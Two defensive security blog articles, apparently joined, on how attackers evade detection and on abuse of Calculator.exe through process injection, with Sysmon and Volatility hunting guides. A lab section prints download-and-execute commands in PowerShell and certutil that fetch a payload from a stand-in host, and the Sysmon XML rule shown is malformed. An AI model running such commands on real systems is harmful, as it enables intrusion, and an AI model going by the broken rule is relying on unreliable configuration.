Anatomy of Evasion: How Attackers Conceal Their Tracks

The digital realm is a battlefield, and in any conflict, visibility is a double-edged sword. For attackers, it's often the primary vulnerability. To achieve their objectives, be it data exfiltration, system disruption, or maintaining persistent access, hackers must become ghosts in the machine. They aim to operate in the shadows, leaving minimal trace and evading detection by the vigilant defenders. Understanding these evasion tactics isn't about glorifying the illicit; it’s about dissecting the adversary's playbook to build more robust defenses. Today, we delve into the dark arts of concealment.

There are a dozen ways a malicious actor can operate without leaving a fingerprint, and often, they employ a combination of these. The goal is simple: become indistinguishable from legitimate network traffic or process execution. This requires a deep understanding of the systems they are targeting and the tools used for monitoring. Let's break down the common strategies employed to achieve this digital invisibility.

The Evasion Spectrum: From Obfuscation to Camouflage

Attackers don't just "hide"; they employ sophisticated techniques to blend in. This spectrum ranges from simple obfuscation of malicious code to advanced methods of mimicking legitimate system behavior. The effectiveness of their concealment often dictates the longevity of their presence and their ultimate success.

1. Code Obfuscation and Encryption: Masking the Malignancy

The most basic, yet surprisingly effective, method is to disguise the nature of the malicious payload. Before execution, malware is often obfuscated. This involves techniques like:

• String Encryption: Critical commands, URLs, or API keys within the malware's code are encrypted. A decryption routine is embedded, run just before the malicious functionality is needed. This hinders simple signature-based detection looking for known strings.
• Code Packing: The executable is compressed or encrypted and wrapped in a loader. Upon execution, the loader unpacks and decrypts the original payload in memory. Antivirus software might struggle to scan effectively if the payload is only ever present in RAM.
• Polymorphism and Metamorphism: Polymorphic malware changes its signature (e.g., encryption keys, instruction sequence) with each new infection. Metamorphic malware rewrites its own code entirely, making it even harder to detect based on static analysis.

2. Living Off The Land (LotL) Binaries: The Attacker's Toolkit

Why bring your own tools when the system already has them? This is the core principle of LotL. Attackers leverage legitimate, pre-installed system utilities for malicious purposes. The beauty of this approach is that the execution of `powershell.exe`, `wmic.exe`, `certutil.exe`, or even `regsvr32.exe` might be entirely normal on a Windows system. When used for malicious tasks like downloading payloads, executing commands, or establishing persistence, they become incredibly difficult to distinguish from benign activity.

"The most dangerous weapon is already in the victim's arsenal." - A twisted adage from the digital underworld.

Detecting LotL abuse requires focusing on behavioral anomalies: unusual command-line arguments, unexpected parent-child process relationships, or execution from non-standard locations. Tools like Sysmon are invaluable for capturing this granular process execution data.

3. Process Injection and Hollowing: Hijacking Legitimate Processes

Instead of running their own malicious process, attackers might inject their code into a legitimate, trusted process. This allows the malicious activity to inherit the trust and permissions of the host process.

• Process Hollowing: A legitimate executable is started in a suspended state, its memory is unmapped, malicious code is written into it, and then the process is resumed. It appears as a legitimate process but carries out malicious functions.
• DLL Injection: A malicious Dynamic Link Library (DLL) is loaded into the memory space of a target process. This is a classic technique used to gain control or steal information from an application.
• Remote Thread Injection: The attacker creates a remote thread within a target process, pointing it to malicious code.

These techniques often require specific operating system privileges and are frequently flagged by advanced Endpoint Detection and Response (EDR) solutions that monitor inter-process communication and memory manipulation.

4. Masquerading as Legitimate Traffic: Hiding in Plain Sight

Network traffic is a prime target for monitoring. Attackers must ensure their communications blend seamlessly with normal network chatter. Common methods include:

• Using Standard Ports: Instead of using non-standard ports for command and control (C2) traffic, attackers will often use ports like 80 (HTTP), 443 (HTTPS), or 53 (DNS). This makes their traffic indistinguishable from regular web browsing or DNS lookups.
• Mimicking Protocols: Encapsulating C2 traffic within common protocols like HTTP/S, DNS, or ICMP. This can involve embedding commands within DNS queries or HTTP headers.
• Domain Fronting (Largely Deprecated): A technique where C2 traffic is sent to a large, reputable CDN (like Google, Amazon CloudFront) which then forwards it to the attacker-controlled backend. This hid the attacker's true IP behind a trusted domain. While less effective now due to CDN changes, the principle of using trusted intermediaries remains relevant.

5. Persistence Mechanisms: The Art of Re-Entry

Once an attacker gains access, they need to ensure they can regain entry even if the initial vulnerability is patched or the system reboots. Stealthy persistence is key:

• Registry Run Keys: Adding executables or scripts to keys like `Run` or `RunOnce` in the Windows Registry.
• Scheduled Tasks: Creating scheduled tasks that run malicious scripts or executables at specific intervals or upon system startup.
• WMI Event Subscriptions: Using Windows Management Instrumentation (WMI) to trigger malicious actions based on system events. This is a powerful LotL technique that can be very difficult to detect.
• Browser Extensions/Hijacking: Malicious extensions can be installed, or browser settings (like homepage or search engine) can be modified to redirect users to malicious sites or capture credentials.
• Rootkits: At the highest level of stealth, rootkits operate at the kernel or hardware level, modifying the operating system's core functions to hide processes, files, and network connections from the operating system and security tools.

The Defender's Arsenal: Unmasking the Invisible

Defending against these evasion tactics requires a multi-layered approach, focusing on detection rather than solely prevention. Prevention is a necessary component, but sophisticated attackers will always find a way around static defenses. Detection is where the real battle is won.

Threat Hunting for the Elusive

This is where the real work begins. Threat hunting is a proactive security practice focused on searching for threats that have bypassed existing security solutions. For detecting hidden attackers, hunters look for anomalies in:

• Process Trees: Unusual parent-child relationships (e.g., Word initiating a PowerShell instance).
• Network Connections: Connections to known malicious IPs/domains, unusual protocols on standard ports, or high volumes of DNS queries.
• Endpoint Telemetry: Unusual file modifications, registry changes, or API calls.
• Log Analysis: Correlating events across different log sources (firewall, endpoint, Active Directory).

Leveraging Advanced Tools

While understanding the theory is crucial, practical deployment relies on robust tools. For any serious security operation, investing in the right technology is non-negotiable.

• Endpoint Detection and Response (EDR): Solutions like CrowdStrike Falcon, SentinelOne, or Microsoft Defender for Endpoint provide deep visibility into endpoint activity, detecting LotL, process injection, and suspicious behaviors.
• Security Information and Event Management (SIEM): Tools like Splunk, Elastic Stack, or QRadar aggregate and analyze logs from various sources, enabling correlation and faster threat detection.
• Network Detection and Response (NDR): Solutions that monitor network traffic for anomalies and malicious patterns.
• Behavioral Analytics: AI and machine learning-based tools that establish baseline behaviors and flag deviations that might indicate an attack.

The Importance of Patching and Configuration Management

While attackers excel at hiding, the most effective defense often starts with the basics. Regularly patching systems to close known vulnerabilities and maintaining secure configurations significantly reduces the attack surface, making it harder for attackers to gain initial access and establish a foothold.

Veredicto del Ingeniero: ¿Vale la pena el esfuerzo de ocultarse?

For an attacker, the effort invested in hiding is directly proportional to the value of their objective and the sophistication of the defenses they expect to encounter. In high-stakes environments with advanced security controls, evasion is not optional; it's a prerequisite for survival. For defenders, understanding these techniques is paramount. It shifts the mindset from "preventing known bad" to "detecting unknown bad" and enables the construction of resilient security architectures capable of uncovering even the most elusive adversaries.

Arsenal del Operador/Analista

• EDR Solutions: CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint (Essential for modern threat hunting).
• SIEM Platforms: Splunk Enterprise, Elastic Stack (for log aggregation and analysis).
• Sysinternals Suite: Tools like Sysmon, Process Explorer, Process Monitor (Indispensable for in-depth endpoint analysis).
• Network Analysis Tools: Wireshark, Zeek (formerly Bro) (For deep packet inspection and traffic analysis).
• Books: "The Art of Memory Analysis" by Michael Hale Ligh, "Practical Malware Analysis" by Michael Sikorski and Andrew Honig (Foundational knowledge for dissecting malware and understanding its behavior).
• Certifications: GIAC Certified Forensic Analyst (GCFA), Certified Information Systems Security Professional (CISSP) (Demonstrate expertise in security principles and incident response).

Taller Defensivo: Buscando Procesos Hijo Anómalos con Sysmon

Let's simulate a basic threat hunting scenario. We'll use Sysmon to capture process creation events and then look for suspicious child processes spawned by common Windows utilities.

1. Install Sysmon: Download Sysmon from Microsoft Sysinternals and install it with a robust configuration. A good starting point is the SwiftOnSecurity Sysmon configuration. Ensure it’s configured to log process creation events (Event ID 1).

   
   # Example installation command (run as Administrator)
   # Download the latest Sysmon release
   Invoke-WebRequest -Uri "https://download.sysinternals.com/files/Sysmon.zip" -OutFile "Sysmon.zip"
   Expand-Archive -Path "Sysmon.zip" -DestinationPath ".\Sysmon"
   cd .\Sysmon
   
   # Install Sysmon with a sample configuration (replace with your chosen config)
   .\sysmon64.exe -accepteula -i .\SysmonConfig.xml
       

2. Simulate an attack: On a test machine with Sysmon running, execute a suspicious command. For instance, using PowerShell to download and execute a file:

   
   # This is a *simulated* malicious command for testing purposes ONLY.
   # Do NOT run this on any system you do not own or have explicit permission to test.
   powershell -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile('http://evil.example.com/payload.exe', 'C:\Windows\Temp\payload.exe'); Start-Process 'C:\Windows\Temp\payload.exe'"
       

   Alternatively, a LotL technique using `certutil`:

   
   # Example using certutil for base64 encoded payload
   certutil -urlcache -f http://evil.example.com/payload.bin C:\Windows\Temp\payload.bin
   certutil -decode C:\Windows\Temp\payload.bin C:\Windows\Temp\payload.exe
   C:\Windows\Temp\payload.exe
       

3. Hunt for Anomalies: Access the Windows Event Viewer and navigate to Applications and Services Logs -> Microsoft -> Windows -> Sysmon -> Operational. Filter for Event ID 1 (Process Creation).

4. Analyze suspicious parent-child relationships: Look for instances where legitimate processes like powershell.exe, cmd.exe, wmic.exe, or even winword.exe are spawning unexpected child processes, especially executables from temporary directories or unusual locations. Pay attention to command-line arguments that seem suspicious (e.g., `-ExecutionPolicy Bypass`, decoding commands, downloading files). Examine the hash of any suspicious executables found and compare against threat intelligence feeds.

5. Implement Detection Rules: Based on your findings, create detection rules in your SIEM or EDR to automatically flag similar activities. For example, a rule could alert on powershell.exe executing with specific command-line flags, or any process executing from C:\Windows\Temp spawned by a user application.

Frequently Asked Questions

Q1: How do attackers maintain access without running any processes?

While difficult, rootkits operating at the kernel or firmware level can achieve this by hooking system calls and hiding their presence, making them nearly invisible to standard process monitoring tools. Techniques like WMI event subscriptions can also be highly stealthy.

Q2: Is all "Living Off The Land" behavior malicious?

Absolutely not. PowerShell and other system utilities are essential for system administration. The key is to understand the *context* and *behavioral anomalies* associated with their use, not just their mere execution.

Q3: What is the most effective way to detect hidden attackers?

A combination of robust endpoint telemetry (EDR), network monitoring, log aggregation (SIEM), and proactive threat hunting is the most effective strategy. No single tool is a silver bullet.

Q4: How can I protect my systems from LotL attacks?

Implement strict application whitelisting, restrict unnecessary administrative privileges, monitor process execution and command-line arguments rigorously, and leverage tools like Sysmon with a well-tuned configuration.

The Contract: Fortify Your Perimeter Against the Unseen

The digital shadows are vast and deep. Attackers thrive in obscurity. Your mission, should you choose to accept it, is to illuminate those shadows. Analyze your environment: Are your logging mechanisms sufficient? Do you have visibility into process execution and network traffic? Identify one critical system or application and brainstorm three distinct ways an attacker might attempt to compromise and hide within its context. Then, document the specific logs or telemetry you would need to collect to detect such an activity. Report back with your findings, or better yet, implement the detection before the adversary does.

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Anatomy of a Calculator.exe Exploit: A Defensive Deep Dive

The flickering cursor on the terminal is a constant reminder of the digital shadows we navigate. In this domain, even the most innocuous system utilities can become vectors for compromise. Today, we're not dissecting a zero-day exploit targeting a bleeding-edge framework. We're pulling apart the digital bones of Calculator.exe, a tool so ubiquitous it's practically invisible. But in the wrong hands, or with a misconfigured defense, invisibility breeds opportunity. This isn't about how to weaponize the calculator; it's about understanding how it can be weaponized, so you can damn well ensure it isn't.

The digital realm is a battlefield, and understanding the enemy's tools—even the mundane ones—is paramount. This analysis aims to demystify how a seemingly harmless executable like Windows Calculator can be leveraged in an attack chain, focusing on the defensive posture required to detect and prevent such intrusions. We'll trace the potential attack paths, analyze the underlying mechanisms, and equip you with the knowledge to fortify your systems against these silent threats.

The Subtlety of System Utility Exploitation

Attackers often seek the path of least resistance or the highest impact with the lowest detection probability. System utilities, by virtue of their legitimate function and frequent execution, present an appealing target. They are often overlooked in broad security audits, and their presence is considered normal. Calculator.exe, while seemingly benign, can be a pawn in larger schemes through various techniques:

• Process Injection: A malicious actor might inject code into the running process of Calculator.exe. This allows the malicious payload to inherit the privileges of the calculator process, potentially bypassing application whitelisting or firewall rules that permit calculator execution.
• DLL Hijacking: If an attacker can control the search path for DLLs or manipulate the environment where Calculator.exe is launched, they might trick it into loading a malicious DLL disguised as a legitimate one.
• Abuse of Functionality: Although less common for a simple calculator, more complex system utilities have been abused for their intended functions (e.g., using scheduled tasks for persistence). While Calculator.exe itself doesn't offer complex scripting, its execution can be a trigger.

Tracing the Digital Footprints: How an Exploit Might Unfold

Let's abstract the concept and build a hypothetical scenario. Imagine a threat actor gains initial access to a Windows machine. Their objective is often to escalate privileges, achieve persistence, or exfiltrate data. How does Calculator.exe fit into this grim narrative?

Scenario: Privilege Escalation via Process Injection

An attacker has a low-privilege shell and a payload ready to execute. They observe that Calculator.exe is allowed to run without network restrictions.

1. Reconnaissance: The attacker identifies that calc.exe is a signed Microsoft binary, likely trusted by security controls. They also note that it's a standard Windows process.
2. Payload Delivery: The attacker uses a technique to deliver a malicious DLL or shellcode to the target machine.
3. Process Hollowing/Injection: Using a tool or custom code, the attacker initiates Calculator.exe in a suspended state. Then, they replace its legitimate code in memory with their malicious payload and resume the process. The Windows kernel sees a legitimate calculator process, but its actions are dictated by the injected code.
4. Malicious Action: With the privileges of Calculator.exe (which might be SYSTEM if launched with elevated privileges or if the initial vector allowed it), the injected code could perform actions like:
   • Dumping credentials from memory (e.g., using Mimikatz-like techniques).
   • Establishing a more robust backdoor.
   • Installing persistence mechanisms.
   • Opening network connections to command-and-control servers.

This method circumvents application whitelisting that might block direct execution of unknown executables but allows signed binaries. It’s a classic technique in the attacker’s playbook, leveraging trust in legitimate system components.

Defensive Strategies: The Sectemple Guard Protocol

The key to defending against such subtle attacks lies in a multi-layered, proactive security posture. We must assume that vulnerabilities exist and that attackers are constantly probing for weaknesses. Here’s how Sectemple operators harden the digital perimeter:

Tactic 1: Enhanced Application Control

While allowing signed Microsoft binaries is often a default, it's a dangerous implicit trust. Advanced application control solutions should be configured to:

1. Application Whitelisting/Hashing: Instead of just trusting signatures, explicitly whitelist known good binaries based on their cryptographic hashes. Any deviation requires investigation.
2. Process Behavior Monitoring: Implement solutions that monitor process behavior. If Calculator.exe suddenly starts making outbound network connections, or if its memory space is modified unexpectedly, this should trigger an alert.
3. Restricting Execution Contexts: Limit where and how system utilities can be executed. For example, disallowing the execution of Calculator.exe from user-writable directories or network shares.

Tactic 2: Memory Forensics and Anomaly Detection

When an incident is suspected, or as part of routine threat hunting, memory analysis is non-negotiable.

Guía de Detección: Análisis de Memoria para Procesos Sospechosos

1. Utiliza Herramientas de Análisis de Memoria: Tools like Volatility Framework are critical. Assume you have a memory dump of the system.
2. Identifica Procesos en Ejecución: Use `vol.exe -f your_memory_dump.raw imageinfo` to determine the profile, then `vol.exe -f your_memory_dump.raw pslist` to get a list of running processes. Look for suspicious entries, especially those running under unexpected user contexts or with unusual parent processes.
3. Examina el Espacio de Memoria del Proceso: If Calculator.exe is identified, use `vol.exe -f your_memory_dump.raw procdump -p calculator.exe` to dump its memory region. Then, analyze this dump for injected code, suspicious strings, or unusual API calls.
4. Verifica DLLs Cargadas: Use `vol.exe -f your_memory_dump.raw dlllist -p calculator.exe` to see which DLLs are loaded. Compare this against a known good baseline to spot unapproved modules.
5. Detecta Inyecciones de Código: Tools within Volatility (like malfind) can help identify regions of memory that have been written to or executed from, which is a strong indicator of process injection.

# Example Volatility command for detecting injected code
# vol.exe -f memory.raw --profile=Win7SP1x64 malfind -p calculator.exe

Tactic 3: Network Monitoring and Segmentation

Even if an exploit bypasses endpoint defenses, network monitoring can trap the adversary. A legitimate calculator process shouldn't initiate outbound connections to unknown IPs or over unusual ports.

1. Firewall Rules: Implement egress filtering. Only allow necessary outbound connections from endpoints. Explicitly deny Calculator.exe from making any network connections unless absolutely required (which is rare for the standard utility).
2. Network Intrusion Detection Systems (NIDS): Configure NIDS to alert on suspicious network patterns originating from endpoints, even if the process appears legitimate.
3. Network Segmentation: Isolate critical systems. If a workstation is compromised, segmentation limits the attacker's ability to move laterally to more sensitive servers.

Tactic 4: Least Privilege Principle

This is foundational. Users and processes should only have the permissions absolutely necessary to perform their tasks. Running Calculator.exe with administrative privileges when a standard user context suffices is an unnecessary risk.

1. Standard User Accounts: Enforce the use of standard user accounts for daily operations.
2. User Account Control (UAC): Ensure UAC is enabled and configured appropriately to prompt for administrative credentials rather than silently elevating.

Veredicto del Ingeniero: ¿Vale la Pena el Riesgo?

Using Calculator.exe as a direct exploit vector for initial compromise is less common than exploiting web applications or delivering sophisticated malware. However, its abuse as a *carrier* or *enabler* for post-exploitation activities (like process injection for privilege escalation or persistence) is a recurring theme in advanced persistent threats. The risk isn't in the calculator itself, but in the implicit trust placed upon system utilities and the security controls that fail to differentiate between legitimate use and malicious abuse. For defenders, ignoring these seemingly minor vectors is a grave error.

Arsenal del Operador/Analista

• Endpoint Detection and Response (EDR): Solutions like CrowdStrike Falcon, Microsoft Defender for Endpoint, or Carbon Black are essential for real-time behavioral monitoring.
• Memory Forensics Tools: Volatility Framework is the industry standard. Rekall is another option.
• Application Whitelisting Solutions: AppLocker (Windows built-in), or third-party tools.
• Network Monitoring: Zeek (formerly Bro), Suricata, Wireshark for deep packet inspection.
• Books: "The Rootkit Arsenal: Subverting Security, Operating Systems, and the Internet" by Bill Blunden offers deep insights into system-level manipulation. "Practical Malware Analysis" by Michael Sikorski and Andrew Honig is invaluable for understanding analysis techniques.
• Certifications: The GIAC Certified Forensic Analyst (GCFA) and GIAC Certified Incident Handler (GCIH) are highly relevant for understanding and responding to such threats.

Taller Práctico: Fortaleciendo la Ejecución de Calculadora

Guía de Detección: Monitoreando la Ejecución de Calculadora

Utilizaremos Sysmon, una herramienta poderosa para monitorear y registrar la actividad del sistema. Si no está implementado, su despliegue es el primer paso para una defensa robusta.

1. Instalar Sysmon: Descargue la última versión desde Microsoft Sysinternals.
2. Crear una Configuración de Sysmon: Ejecute Sysmon con una configuración personalizada. Una política robusta debería incluir reglas para:
   • Event ID 1 (Process Creation): Monitorizar la creación de procesos, incluyendo el proceso padre y la línea de comandos.
   • Event ID 7 (Image Load): Monitorear la carga de DLLs en procesos.
   • Event ID 10 (Process Access): Detectar accesos a procesos, especialmente si hay escrituras (a menudo usadas en inyección).
   • Event ID 11 (File Create): Monitorear la creación de archivos, útil para detectar despliegue de malware.
3. Configurar Reglas Específicas para Calculator.exe:
   • Alertar si Calculator.exe es lanzado desde una ruta inusual (ej: C:\Users\Public\ o C:\Windows\Temp\).
   • Alertar si Calculator.exe carga DLLs que no son las esperadas (ej: de directorios no estándar o si la ruta de la DLL es sospechosa).
   • Alertar si otra aplicación intenta escribir en el espacio de memoria de Calculator.exe o si Calculator.exe carga módulos sospechosos.

<!-- Ejemplo de regla Sysmon para detectar creación de proceso de calculadora desde rutas sospechosas -->
<RuleGroup name="" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Image condition="is">C:\Windows\System32\calc.exe</Image>
    <Protocol condition="is">
      <OriginalFileName condition="is">calc.exe</OriginalFileName>
      <CommandLine condition="contains"> ?:\Windows\System32\calc.exe</CommandLine> <!-- This condition is usually true for legitimate execution -->
      <ParentImage condition="is">NOT C:\\Windows\\System32\\svchost.exe</ParentImage> <!-- Example: Exclude system services -->
      <OriginalFileName condition="is">calc.exe</OriginalFileName>
      <ParentImage condition="is">C:\\Windows\\System32\\svchost.exe</ParentImage>
    </Protocol>
    
    <Rule Grouping="ProcessCreate"                            
          name="Detect Calculator.exe from unusual locations"
          description="Alerts if Calculator.exe is launched from non-standard directories">
      <Image condition="is">C:\Windows\System32\calc.exe</Image>
      <Image condition="endswith">
        <Value>~\AppData~\Local\Temp\calc.exe</Value>
        <Value>~\Users\Public\calc.exe</Value>
        <Value>~\Windows\Temp\calc.exe</Value>
      </Image>
    </Rule>

    <Rule Grouping="ImageLoad"
          							name="Detect suspicious DLLs loaded by Calculator.exe"
          							description="Alerts if Calculator.exe loads DLLs from untrusted paths">
      <Image condition="is">C:\Windows\System32\calc.exe</Image>
      <LoadedImage condition="contains">~\AppData~\Local\Temp\</LoadedImage>
      <LoadedImage condition="contains">~\Users\Public\</LoadedImage>
    </Rule>

  </ProcessCreate>
</RuleGroup>

Preguntas Frecuentes

¿Es posible que Calculator.exe sea malicioso por sí mismo?

Es extremadamente improbable que la versión oficial de Calculator.exe distribuida por Microsoft sea maliciosa. El riesgo radica en la *manipulación* de este proceso o en su uso como *vehículo* para ejecutar código malicioso.

¿Pueden las herramientas de antivirus detectar estos ataques?

Los antivirus basados en firmas pueden tener dificultades si el código inyectado es desconocido o encriptado. Las soluciones de Endpoint Detection and Response (EDR) que se centran en el comportamiento son mucho más efectivas para detectar este tipo de anomalías.

¿Por qué los atacantes preferirían usar Calculator.exe en lugar de un malware directo?

La confianza implícita en los binarios del sistema operativo, la posibilidad de evadir controles de aplicación básicos (como whitelisting basado en firmas) y la herencia de privilegios hacen que sea una técnica atractiva para ganar persistencia o escalar privilegios sin levantar sospechas inmediatas.

¿Qué es el "Process Hollowing"?

Es una técnica de inyección de código donde un proceso legítimo (como Calculator.exe) se inicia en un estado suspendido, su código en memoria se reemplaza por código malicioso, y luego el proceso se reanuda. El sistema operativo observa un proceso legítimo ejecutándose, pero éste está realizando acciones maliciosas.

El Contrato: Asegura el Perímetro Digital

Tu misión, si decides aceptarla: crea una regla de auditoría (usando Sysmon, o una solución SIEM si la tienes) para monitorear el acceso a procesos de Calculator.exe. ¿Qué tipo de accesos son normales y cuáles indicarían una posible intrusión? Investiga los IDs de evento relevantes (como Event ID 10 en Sysmon) y configura alertas para cualquier acceso que implicque una escritura de memoria o un acceso no autorizado. Comparte tus configuraciones o los hallazgos en los comentarios.